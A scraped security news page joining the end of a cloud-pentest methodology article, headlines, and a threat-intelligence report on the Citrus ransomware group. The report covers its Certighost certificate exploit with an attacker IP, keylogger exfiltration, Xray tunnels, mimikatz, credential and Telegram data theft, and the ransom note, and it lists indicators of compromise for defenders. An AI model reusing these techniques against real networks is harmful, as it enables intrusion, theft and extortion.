4. Virtual machine escapeThe starting point of the research is the pentester’s own virtual machine in the cloud. A vulnerability in the virtualization system makes it possible to use a guest-to-host vector and execute arbitrary code on the host machine of the hypervisor itself. The researcher then moves from the hypervisor host to the management network or control plane, which counts as crossing the next trust boundary.
Public research shows that virtualization escapes are a real class of threats. They are most often related to errors in memory isolation mechanisms, or to vulnerabilities in shared clipboards or shared folders. However, a public CVE does not prove that a specific cloud is vulnerable. The hypervisor version, its configuration, and additional layers of protection (for example, strict OS-level policies) also affect whether an attack succeeds. Testing guest-to-host techniques in shared public infrastructure carries a high risk of destructive impact on the hypervisor itself and its virtual machines. For this reason, such testing is strictly regulated and performed only with the provider’s approval.
What counts as a pentest resultThe value of cloud penetration testing lies not in the number of open ports found or in the fact that remote commands were executed, but in proven violation of trust boundaries. In our experience, cloud providers expect pentest results to answer the following critical questions:
- Can an attacker from one tenant read, modify, or delete other tenants’ data?
- Can user-supplied code be used to steal the token of a provider’s IAM service account or to perform actions on the account’s behalf?
- Can compromising one runtime environment let an attack spread to other resources, services, a cell, or a region?
- Is it possible to affect the provider’s internal technical resources from low-trust segments (for example, directly from a tenant’s virtual machine)?
- Is it possible to move from the virtual environment to the host, the hypervisor, the storage system, or the physical network, and what is the real scale of the destructive impact?
For each confirmed attack vector, the report records the initial conditions, observations, alternative explanations, minimally sufficient proof, limitations, and potential damage. A negative result is also important: it shows which trust boundary relies on blind assumptions and which is enforced by controls that can withstand targeted bypass attempts in practice.
Safe confirmation of impactTesting a provider overlay and infrastructure layer is unlike testing an ordinary external application, because mistakes cost far more. Any careless action can set off a cascade that hits a shared message queue, a management cluster, backups of several tenants, or a shared host.
Before the work starts, define the following in the rules of engagement:
- Permitted accounts, tenants, regions, and infrastructure components
- Allowed attack techniques and limits on load intensity
- Timeframes for testing, live communication channels, and conditions for an immediate stop
- Rules for handling locked accounts, credentials, and sensitive information found by accident
- The procedure for testing hypotheses that go beyond the original scope of the research
To reiterate, it’s safer to confirm cross-tenant impact on a second tenant that the pentest team controls and that holds synthetic data prepared in advance. Provider-level impact is verified on a dedicated test resource or an artifact created specifically for this purpose. Passive observation is preferable to reading other people’s data, and a minimal reversible action is preferable to broad exploitation.
It’s important to distinguish between two types of engagements. A tenant owner can test their own resources within the rules of a specific cloud, but this doesn’t always give them the right to probe the provider’s infrastructure. A pentest of the provider overlay and infrastructure layer requires separate authorization from the platform owner.
ConclusionThe main job of a cloud platform is not simply to hand out resources quickly but to isolate tenants from each other securely and to delegate management to the provider’s automation. A traditional external pentest only shows whether an attacker can break in through the public attack surface. However, the real reliability of a cloud depends on whether its defenses can withstand attacks at the trust boundaries between the following platform layers:
- External: the public attack surface, which includes public APIs, management consoles, IAM services, endpoints for interacting with IT services, and SDKs. Here, the pentest assesses whether an attacker can gain initial access to a tenant and compromise accounts.
- Overlay (IT services): the virtual layer on the tenant side, where runtimes, operating systems, databases, and service agents operate. Tests at this layer aim to break runtime isolation and find excessive privileges of IAM service accounts. As a reminder, we split Overlay into two sublayers, because the runtime of a tenant service and the provider’s internal infrastructure have different trust boundaries and different entry points. More on that below.
- Overlay (provider components): the cloud’s internal logical environment. It includes billing, backup, monitoring, and access control systems, as well as internal APIs. Attacks at this layer aim to violate the boundaries between services and tenants and find ways to interact with the control plane without authorization.
- Underlay (infrastructure layer): the foundation of the platform. It includes host operating systems, virtualization systems (hypervisors), the transport network, data storage systems, baseboard management controllers (BMCs), and other low-level mechanisms. The goal of testing here is to assess virtualization isolation and the real scale of impact on neighboring workloads.
This is why an effective cloud pentest is built as a sequence of verifiable transitions between these zones. At each step, the researcher records where they started, describes the new context they’ve gained, analyzes that context’s chains of trust, and takes the minimum action needed to confirm they’ve violated the next boundary.
This systematic approach turns scattered technical findings into a measurable, proven risk for a specific user, service, or the entire cloud platform.
What’s in the next articleThis article outlines the general approach: which layers exist in the cloud and where the trust boundaries between them lie. In the second article, we’ll look closely at the External layer of the cloud and at pentesting managed services from the tenant side.
London hotel put admin login for booking website on whiteboard behind the front desk
Disgraced former CA eMudhra blames buggy script for hopelessly weak certificates
Shipping giant Maersk probes 'IT security incident,' data theft
Citrus Ransomware: VLESS for traffic, Sn00py for encryption, and LLMs lending a hand
In recent years, cyberthreats have increasingly taken a hybrid approach, combining time-tested techniques for advancing through infrastructure, modern methods of evading network filters, and automation powered by large language models. This is also the approach of Citrus Ransomware, a previously undocumented group whose toolset includes VLESS tunnels (used to disguise traffic as regular HTTPS) and a ransomware Trojan from the Sn00py family. The attackers also integrate LLMs (large language models) into the process of infrastructure compromise.
In this article, we review the tactics and techniques the group used in recent incidents.
Initial Access: attacks through contractorsThe attackers gain initial access to victims’ infrastructure through compromised contractors. They use credentials stolen from these contractors’ employees to connect to corporate VPNs or directly to internet-facing terminal servers over RDP.
Execution: commands, LLMs, and ImpacketThe attackers run commands on compromised systems through the standard Windows command interpreter and PowerShell. As the attack progresses, they create and run PowerShell scripts, batch files, and commands generated by LLMs. One example of the latter is the commands below, which disable the account of one of the administrators.
Comment translation# Disable account
# Verify result
Both commands come with comments, something attackers rarely bother with, so the comments very likely point to LLM use. And the models did more than generate commands. The attackers also produced full scripts, complete with the comments typical of LLM output.
Comment translation# Creating background tasks for each computer with a thread limit
# Concurrent task limit control
# Quick ping
The fragment above comes from a script Citrus used to enumerate active user sessions on domain systems.
Besides LLMs, the attackers use atexec, a classic tool from the Impacket collection, to create scheduled tasks that run commands on hosts:
Task name Launched executable file sIErKswD C:\Windows\System32\..\System32\cmd.exe PpMBCCSR C:\Windows\system32\cmd.exe QwZtLmNp C:\Windows\..\Windows\System32\cmd.exeWe did not see the exact commands behind these tasks, but Group Policy was refreshed after they ran, so they most likely executed gpupdate /force.
When the group compromises 1C:Enterprise servers, it uses external data processors (1C-Shell) to run commands.
Persistence: scheduled tasksCitrus uses scheduled tasks to launch its malicious tools automatically. The attackers create the tasks manually through PowerShell:
On systems that are not regularly rebooted, such as terminal servers, they sometimes run their tools without establishing persistence at all.
Privilege Escalation: vulnerabilities and configuration flawsIn every case we know of, the contractor domain account used for initial access had very limited privileges, so the attackers tried to escalate them.
To do this, they attempted to exploit the authentication bypass vulnerability CVE-2026-54121 (Certighost); these attempts created machine accounts with telltale names in Active Directory, such as:
- GHOSTAUFTAFGS
- GHOSTCZYQVAZS
- GHOSTIVPRLDZA
- GHOST{8 random letters}
These names are generated by scripts making use of an exploit published on GitHub.
The exploit works like this: on behalf of the newly created account, it requests a certificate based on the Machine template from the system holding the AD CS role. The Attributes, Subject, and SubjectAlternativeName fields contain parameters like these:
<Data Name='Attributes'>CertificateTemplate:Machine\nSAN:dns=dc01.victim.domain\ncdc:91.210.109[.]118\nrmd:dc01.victim.domain </Data> <Data Name='Subject'>CN=GHOSTABUIEFAD.victim.domain</Data> <Data Name='SubjectAlternativeName'>DNS name =dc01.victim.domain\r\n</Data>The cdc attribute specifies the IP address or name of the system that the certification authority must contact to verify the data. The attackers specify the address of a system they control (in this case, 91.210.109[.]118) and send forged data from it. If exploitation succeeds, the certification authority issues a certificate with the specified parameters, based on the specified template.
Once the certificate is issued, the domain controller name in its SubjectAlternativeName field lets the attackers authenticate as the domain controller account.
In one case, the attackers also uploaded an executable for persistence, on behalf of which PowerShell scripts were launched with nonstandard HostName (Имя узла) field value.
Field name translationSeverity
HostName
HostVersion
HostId
HostApplication
EngineVersion
RunspaceId
PipelineId
CommandName
CommandType
ScriptName
Although the file was later deleted, indirect evidence hints at its purpose. For example, the MSFConsole value may indicate that the file is a component of the Metasploit framework. The PowerShell scripts run through this file included an exploit for the CVE-2020-1337 vulnerability; the same exploit is available in the Metasploit GitHub repository.
Beyond classic vulnerabilities in Microsoft products, the attackers also took an interest in 1C:Enterprise servers with insecure configurations (article in Russian).
On top of the configuration flaws, 1C:Enterprise systems are frequently accessed by support staff and administrators who hold elevated privileges in Active Directory. Together, these factors make it easy for attackers to escalate privileges and start moving laterally.
Stealth: covering tracks and masqueradingTo hinder incident response, the attackers delete their tools and output files and clear the command history.
While the tools are still in use in the victim’s infrastructure, the attackers typically give them and their auxiliary objects legitimate-looking names:
- KasperskyGPO_Deploy_64.exe and KasperskyGPO_Deploy_64_FIXED.exe are self-extracting archives. They contain the Deploy-KasperskyGPO.ps1 script, a directory with a malicious Group Policy Object, and one of two archives, KasperskyAgent.exe or agent.exe.
- KasperskyAgentInstaller.exe, KasperskyAgent.exe, and agent.exe are self-extracting archives containing the ransomware Trojan executable and auxiliary files.
- Kaspersky GPO is the name of the Group Policy Object that distributes the ransomware Trojan in the victim’s infrastructure.
- KasperskyAgentInstallTask and Sysvc are names used for the scheduled task that runs the self-extracting ransomware archive files.
- Deploy-KasperskyGPO.ps1 is the PowerShell script that creates the malicious Kaspersky GPO.
- Kaspersky_GPO_Deployment.log is the log of the Deploy-KasperskyGPO.ps1 script.
Note that using the Kaspersky name in malicious file names doesn’t help the attackers avoid detection. Kaspersky solutions successfully detect and block these malicious files.
Defense Impairment: weak access policies for security tools play into attackers’ handsTo stay under the radar longer, the attackers clear event logs on some systems using the built-in wevtutil utility.
In addition, once they have sufficient privileges, they disable antivirus protection on hosts, which lets them run tools such as mimikatz.
The attackers also go after the centralized management consoles for security solutions, which they then use to disable protection en masse.
At the Impact stage, the attackers also use a Group Policy Object that modifies Windows Defender settings in the registry to switch it off. As a result, the antivirus did not respond when the ransomware was launched.
Finally, if they have sufficient privileges, the attackers manually add their malicious tools to the antivirus exclusion list.
Credential Access: mimikatz, a keylogger, and extraction of credentials from filesTo capture keystrokes on a compromised system, the attackers use a modified version of the peeping-tom keylogger, whose source code is available on GitHub. The keylogger executable and its log file are located at the following paths:
- C:\ProgramData\Oracle\Java\jhost.exe
- C:\Users\<username>\AppData\Roaming\Microsoft\CLR\ErrorLog.txt
In the sample we found, stolen data was sent to 91.210.109[.]118. Persistence for the keylogger is provided by the scheduled task described above in the Persistence section.
To dump credentials from memory, the attackers use mimikatz. Files related to mimikatz are located at the following paths:
- C:\ProgramData\x64\mimidrv.sys
- C:\ProgramData\x64\mimikatz.exe
- C:\ProgramData\x64\mimilib.dll
- C:\ProgramData\x64\mimispool.dll
To hunt for credentials and other secrets (SSH keys, access tokens, and the like) in files on accessible network shares, the group uses Snaffler. To simplify running the tool, the attackers drop a configuration file on the system:
Besides data from network shares, the attackers were interested in data stored in password managers (for example, KeePass) on administrator workstations.
Discovery: the standard toolkit Local discoveryAfter gaining control of a compromised system, the attackers ran a basic set of commands to identify the current user, running processes, network interface settings, the system’s external IP address, and so on:
whoami tasklist quser ipconfig curl 2ip[.]io Remote discoveryIn the early stages, the attackers used the fscan scanner to gather information on the internal infrastructure. They were particularly interested in the following ports:
- 135 (RPC)
- 139 (NetBIOS-SSN)
- 1433 (Microsoft SQL)
- 8006 (Proxmox VE)
Once they had the access they needed and had moved laterally, the attackers ran ADRecon on domain controllers and SharpHound on one of the workstations.
The attackers also used PowerShell to run LDAP queries against the controllers of adjacent domains, pulling lists of domain systems, users, and groups.
Russian text translationThe user has no additional groups in memberOf (primary only)
User not found
As an alternative to PowerShell, the attackers used the net.exe utility to get information about domain users and privileged groups:
net users /domain net group "Domain Admins" /domain net group "Администраторы домена" /domain Lateral Movement: SSH, RDP, and WinRMFor lateral movement, the group relies on standard remote administration protocols: SSH, WinRM, and RDP. The attackers connect to systems either through previously deployed tunnels or directly from the compromised host.
Command and Control: delivering tools to the systemTo deliver its tools to target hosts, the group uses built-in OS utilities. Specifically, the incidents involved:
Creating tunnels with XrayThe certutil and BITS commands shown above are what the attackers used to download Xray onto victim systems. They then used Xray to set up reverse VLESS tunnels to the command-and-control server. The configuration file, stored alongside the Xray executable, was usually named config.json. In some cases, the attackers deleted it right after starting the tunnel to hide the Xray configuration from defenders.
Judging by the configuration files recovered during the analysis, the attackers used port 443 on the VLESS server to blend in with legitimate HTTPS traffic. The configuration files also contain blocks that set up the REALITY protocol, which is intended to disguise the attackers’ traffic as requests to the legitimate site mirror.yandex.ru:
The traffic was also disguised as requests to another legitimate site, yastatic.net:
Installing AnyDeskThe PowerShell command above AnyDesk, which the attackers used to remotely control compromised hosts.
After the download, the attackers installed the software with the --silent flag to avoid alerting the user, set a connection password, and used PowerShell to pull the infected machine’s ID (which AnyDesk uses for remote connections on the client side) from the configuration file:
Collection & Exfiltration: data from messaging appsRight before encrypting the data, the attackers connected to one of the domain controllers and ran the PowerShell script steal_tgs.ps1, which created the tdatas directory. According to the NTFS USN journal, while the script ran, 7-Zip created archives in this directory with telltale names hinting at their contents:
<system_name>_<date>_<username>_tdata.zipThe directory name tdatas and the substring tdata may refer to the C:\Users\<username>\AppData\Roaming\Telegram Desktop\tdata directory. The Telegram messaging app uses this directory to store authorization keys, session data, app settings, and other session information.
So the attackers were harvesting messaging app data from remote systems they could reach, packing it with 7-Zip and uploading it to an external web service through Google Chrome.
Impact: Sn00py ransomware TrojanThe Citrus group uses ransomware from the Sn00py family to encrypt data. It’s written in Go and uses the RSA-2048 and ChaCha20 algorithms to encrypt user files (but not system files) on Windows systems. Encrypted files receive the .citrus extension. For now, decryption is impossible without the attackers’ private key.
When launched, the ransomware opens a console on the victim’s device, where it outputs the commands it runs. It also attempts to modify the boot configuration data (BCD) by invoking a nonexistent executable, bcedit (likely a typo for bcdedit):
The ransomware’s console output contains the string:
We`re going to do something special today :). Made with RaaS platform Sn00py.The string likely means the ransomware is distributed under the ransomware-as-a-service model, where attackers don’t write the malware themselves but subscribe to a ready-made offering.
The ransomware configuration contains the Citrus group’s public key in the pubkey parameter:
-----BEGIN PUBLIC KEY----- A7+eV3M+EDIh5kId+vf46QkKpAOKxUxv97PDFj66ox+uE0GV9UQhrSmBAoGAcyNI +z7noIwrFYnHi6wtj8gLEOT0hE/cNDp0VLoUnAzi551kZA7J3Q575jwqrJcDrZSO JLkZX7pxLLSd9iQdxMxDrLYZGRtiht8ToD5OGZri36oPvnW56ijJZ/NMzlFtVr7V iSZJr5Qkz2cxShcSuhDLLXmzleclBd7HQtWTuZUCgYEAqN8WFAZxkV2e1p4v3U98 VOu4XxEfqAc2Gs2Ccs/kkWoX/1fxvuSRcF6/hMdfVwUP0z+/fnhbFMNfysBeWo1W ZfmpBF/HbnRSg2ZDLWIwXEXEsNNSRmlvwyHWSEZgyG1xjgjSZKWuxo92WVmPxb5i S6NLrZkHPHwqaBy8CnD6ft8= -----END PUBLIC KEY-----The host_blacklist parameter also lists the system names that are exempt from encryption:
[ "DC01", "DC02", "DC03", "DC04" ]This list includes the domain controllers used to distribute the policy that launches the ransomware. This way, the attackers ensure the policy keeps propagating uninterrupted.
As it runs, the Trojan drops CITRUS_README.txt files containing the ransom note:
-[ All your data were encrypted ] | |-If you try to decrypt them yourself, you will lose your data. To decrypt all systems, you need to contact us for guidance and a data recovery tool in the future. If you ignore our offer and the conversation does not take place, we will take extreme measures against your company and your employees, as a result of which you will lose access to all resources of your network and lose your reputation. | |-To contact us - register your mail here: https://account.proton.me/mail/signup?plan=free and write to us by email: [REDACTED] |-Further negotiations regarding this situation will be conducted there. Also we have Telegram: [REDACTED] | |-Be sure to use a VPN, and do not attempt to write from other email addresses, as there is a high chance that the messages will not be delivered to either party. | |-You have 72 hours to contact us to establish negotiations and interaction, starting from the date of creation of this file. |-If you do not contact us within 3 days, we will consider this a refusal to cooperate. This will entail immediate measures, such as: Dumps of your services, personal data of employees, accounting, contracts and source code. | |-Warning: \\_ Do not delete, modify, or attempt to recover files by any means other than using our key and decryptor. This will damage your data, and we cannot guarantee its recovery. \\_ Do not try to make this public, as you will only harm yourself and your reputation.As mentioned above, the group uses malicious Group Policy Objects to launch the ransomware across victim systems en masse. The GPOs are created by self-extracting archives, of which we have seen two versions. Each archive contains:
- A self-extracting archive with the ransomware Trojan and auxiliary files.
- A directory containing the Group Policy Object. The policy drops the ransomware archive on the target system, creates a scheduled task that runs the archive with the parameters /quiet /norestart, enables the WinRM service, and disables the Volume Shadow Copy service and Windows Defender antivirus protection. It also sets a desktop wallpaper displaying the ransom note.
- A PowerShell script that copies the ransomware archive to the \\<current_domain_name>\SYSVOL directory on the domain controller and links the malicious GPO to the domain using the Import-GPO and New-GPLink
One version of the PowerShell script contained comments suggesting that it was likely edited with an LLM:
Links to Toy GhoulsWhile analyzing Citrus activity, we noticed several similarities to Toy Ghouls. Although their infrastructures don’t directly overlap, the two groups share TTPs: they encrypt their victims’ systems, use a similar set of tools (1C-Shell for remote command execution on 1C:Enterprise servers, mimikatz, PsExec, and ADRecon), and store these tools in the same directories. What’s more, both groups are Russian-speaking and attack Russian companies only. In several incidents, we saw the same infrastructure compromised simultaneously by both Toy Ghouls and Citrus.
ConclusionWhat makes Citrus interesting is its unconventional approach to network tunneling and its use of AI to generate auxiliary tools. Even so, the attackers largely rely on well-known tools and techniques, which makes early detection somewhat easier. Kaspersky solutions detect all the activity described in this article.
That said, the Citrus attacks are another reminder that contractor access to an organization’s infrastructure must be tightly controlled and restricted. After all, compromising contractor accounts is exactly how the attackers get into their victims’ networks. We’ll continue to track the group’s activity and report new techniques as we discover them.
Indicators of compromise File hashes Xray d631627131b90d576d77f4bf530e1abe mst.exe, sabycenter.exe, webex.exe, rpchost.exe Meterpreter stager 7107fb029e7c63523e3aca5fc8e56b38 2341.exe Keylogger e251df2d0b7c3682965efb4d2009a2f4 jhost.exe Sn00py 17b29b6c9de80402a45e321bbe1168fa build_64.exe 9eee984b187423c46c10a63d080da15d build_64.exe fscan cf903e4a1629aa0582fd0363b5786676 fscan.exe File paths C:\ProgramData\ADRecon-Report-* C:\ProgramData\SharpHound.exe C:\ProgramData\Snaffler.exe C:\ProgramData\WebEx\config.json C:\ProgramData\WebEx\host_to_ip.ps1 C:\ProgramData\WebEx\ping_oldwin.bat C:\ProgramData\WebEx\web.txt C:\ProgramData\WebEx\webex.exe C:\ProgramData\ad_ru.ps1 C:\ProgramData\computers.txt C:\ProgramData\config.json C:\ProgramData\default.toml C:\ProgramData\fscan.exe C:\ProgramData\llc\*_BloodHound.zip C:\ProgramData\mst.exe C:\ProgramData\oracle\java\jhost.exe C:\ProgramData\pve.exe C:\ProgramData\rules C:\ProgramData\sabycenter.exe C:\ProgramData\steal_tgs.ps1 C:\ProgramData\tdatas C:\ProgramData\x64\mimikatz.exe C:\ProgramData\xray.exe C:\ProgramData\rpchost.exe C:\ProgramData\3777.exe C:\ProgramData\2341.exe C:\ProgramData\ChromeSetup.exe C:\ProgramData\Kaspersky\KasperskyAgent.exe C:\ProgramData\Kaspersky\KasperskyAgentInstaller.exe C:\ProgramData\1.txt C:\ProgramData\7z2603-x64.exe C:\ProgramData\Kaspersky\task.log C:\ProgramData\enum.ps1 C:\ProgramData\kp.ps1 C:\ProgramData\ping.ps1 C:\ProgramData\result.txt C:\ProgramData\user_activity_report.txt C:\Users\*\AppData\Local\Temp\7ZipSfx.000\Deploy-KasperskyGPO.ps1 C:\Users\*\AppData\Local\Temp\Kaspersky_GPO_Deployment.log C:\Users\*\AppData\Local\Temp\7ZipSfx.000\KasperskyAgent.exe C:\Users\*\Desktop\KasperskyGPO_Deploy_64.exe C:\Users\*\Desktop\KasperskyGPO_Deploy_64_FIXED.exe C:\Windows\SYSVOL\domain\KasperskyAgent.exe C:\Windows\SYSVOL\domain\build_64.exe C:\Windows\SYSVOL\domain\icon.ico C:\Windows\SYSVOL\domain\wallpaper.bmp C:\Windows\Temp\agent.exe C:\Windows\build_64.exe C:\Windows\icon.ico C:\Windows\wallpaper.bmp C:\Users\*\AppData\Roaming\Microsoft\CLR\ErrorLog.txt C:\Users\*\Desktop\webex.zip Scheduled task names Java rpchost agent KasperskyAgentInstallTask Sysvc IP addresses 91.210.109[.]118 91.210.108[.]180OpenAI builds a kill switch for its research models
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- následující ›
- poslední »



